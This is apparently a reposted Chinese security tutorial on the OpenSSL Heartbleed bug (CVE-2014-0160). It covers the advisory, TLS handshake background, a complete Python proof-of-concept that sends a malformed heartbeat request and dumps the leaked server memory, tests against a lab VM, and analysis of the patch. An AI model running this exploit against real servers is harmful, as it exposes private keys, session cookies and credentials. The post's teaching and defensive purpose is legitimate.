心脏滴血漏洞

转自;http://blog.csdn.net/qq_32400847/article/details/58332946

2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。

1.漏洞说明

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley [email protected] and Bodo Moeller [email protected] for preparing the fix.

Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.

1.0.2 will be fixed in 1.0.2-beta2.

2.TLS/SSL简介

TLS和SSL是两个密切相关的协议,均用于保证两个主机之间通信数据的机密性与完整性。TLS或SSL可为已存在的应用层协议(例如HTTP,LDAP,FTP,SMTP及其他)添加一个安全层。它同样可以用于创建VPN解决方案(例如OpenVPN)。SSL协议于1994年由Netscape开发。1996年,SSL 3.0(最后版本)被发布。IETF基于此协议进行了开发,取名为TLS。1999年,IETF在RFC2246中发布TLS 1.0。TLS或SSL协议,由多层构成。最接近它的上层协议是可信传输协议(例如TCP)。它可用于封装较高层次的协议。为了在客户端与服务端建立一个安全会话,TLS/SSL需要完成几步验证,并创建密钥。握手过程,交互信息如下。 
心脏滴血漏洞_第1张图片

3.攻击流程

基于POC程序源代码(附后),介绍一下CVE-2014-0160漏洞的攻击思路。 
1. 建立socket连接 
2. 发送TLS/SSL Client Hello请求 
3. 发送畸形heartbleed数据 
4. 检测漏洞存在 
建立socket连接

def ssltest(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

多数情况下默认443提供HTTPS服务。 
心脏滴血漏洞_第2张图片 
发送TLS/SSL Client Hello请求

 s.send(h2bin(hello))
  • 1
  • 1

心脏滴血漏洞_第3张图片 
Client Hello请求数据如下所示。

hello = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109

发送Client Hello后,等待服务端响应,检测TLS/SSLClient Hello会话是否成功。

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        # typ == 22 ----> Handshake
        #
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

这里写图片描述 
此处服务器返回两次数据。Frame 10返回主要用于进一步获取Server Hello 信息。Frame 11为TLS/SSL的Server Hello响应。

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        print 'read: ', r
        if s in r:
            data = s.recv(remain)

            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    hexdump(rdata)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)
    if hdr is None:
        return None, None, None
    # C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
    # Python ---- [big-edition] + integer +integer + integer
    # [Content Type] + [Version] + [Length]
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

Server Hello 消息返回,说明TTL/SSL会话成功建立,此过程伴随有Certificate,Server Key Exchange,Server Hello Done。 
心脏滴血漏洞_第4张图片 
发送畸形heartbleed数据 
Server Hello成功返回后向服务器发送畸形heartbleed请求。如果服务器响应,会伴随有Encrypted Heartbeats Message,也就是泄露的内存数据。

s.send(h2bin(hb))  # Malformed Packet
  • 1
  • 1

Heartbleed包数据如下。

# ---------TLSv1---[Heartbeat Request]------------
hb = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "4000"  # Payload Length: (16384) (0x4000)
]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

心脏滴血漏洞_第5张图片 
检测漏洞是否存在 
畸形数据包发送完成后,检测漏洞是否存在。

    while True:
        print "[+] receive data..."
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if typ == 24:
            if len(pay) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if typ == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

心脏滴血漏洞_第6张图片 
泄露的部分数据如下图所示。 
心脏滴血漏洞_第7张图片 
完整的POC如下。

import struct
import socket
import time
import select
from optparse import OptionParser

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]

# ---------TLSv1---[Heartbeat Request]------------
hb = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "4000"  # Payload Length: (16384) (0x4000)
]

hello = hello[0].replace("", "").replace("\n", "")
hb = hb[0].replace("", "").replace("\n", "")

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        print 'read: ', r
        if s in r:
            data = s.recv(remain)

            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    hexdump(rdata)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)
    if hdr is None:
        return None, None, None
    # C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
    # Python ---- [big-edition] + integer +integer + integer
    # [Content Type] + [Version] + [Length]
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay

def hit_hb(s, target):
# global target
    s.send(h2bin(hb))
    while True:
        print "[+] receive data..."
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if typ == 24:
            if len(pay) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if typ == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False

def ssltest(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(h2bin(hello))

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        # typ == 22 ----> Handshake
        #
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    # sys.stdout.flush()
    print "[+] send payload: %s" % hb
    s.send(h2bin(hb))  # Malformed Packet
    return hit_hb(s, target)  # ------------- *********

def main():
    # global target
    options = OptionParser(usage='%prog server[options]',
                       description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    options.add_option('-d', '--dest', dest='host', help='HOST to test')
    options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')
    (opts, args) = options.parse_args()

    if opts.host:
        ssltest(opts.host, opts.port)
        return

    if opts.filename:
        hostfile = open(opts.filename, 'r').readlines()
        for host in hostfile:
            host = host.strip()
            if len(host) > 3:  # x.x
                ssltest(host, opts.port)
        return

    if len(args) < 1:
        options.print_help()
        return

if __name__ == '__main__':
        main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247

4.漏洞测试

这里我分别使用上文的POC、nmap和metasploit对bee-box虚拟机内置的心脏滴血漏洞进行测试。 
心脏滴血漏洞_第8张图片 
虚拟机的IP地址是10.10.10.146,漏洞端口位于8443。 
上文的POC 
心脏滴血漏洞_第9张图片 
接收到了大量的数据,被判定为VULNERABLE。 
心脏滴血漏洞_第10张图片 
nmap 
心脏滴血漏洞_第11张图片 
心脏滴血漏洞_第12张图片 
metasploit 
心脏滴血漏洞_第13张图片 
心脏滴血漏洞_第14张图片

5.源代码分析

我们利用文本比较工具ultracompare对比openssl-1.0.1g和openssl-1.0.1f的不同。 
首先是ssl/d1_both.c。 
心脏滴血漏洞_第15张图片 
然后是ssl/t1_lib.c。 
心脏滴血漏洞_第16张图片 
在tls1_process_heartbeat函数和dtls1_process_heartbeat函数中,主要都是增加了对s->s3->rrec.length长度的判断。这两个函数后面的memcpy(bp, pl, payload);填充payload长度的pl数据,而payload完全由用户控制,当传入过大数值时,可能导致越界访问pl之后的数据,若将读取的数据返回给用户即可造成敏感信息泄露。在一些测试用例中我们会发现response的length长度值总是比request的长度多出来了19个byte。读源代码可以知道,这是因为TLS和DTLS在处理心跳请求包逻辑中从堆空间上申请的内存大小由type、length、request的数据长度和pad四个部分组成,其中type,length,pad字段分为占1byte,2byte,16byte,所以response的数据总是比request的多出来19byte。 




你可能感兴趣的:(网络安全)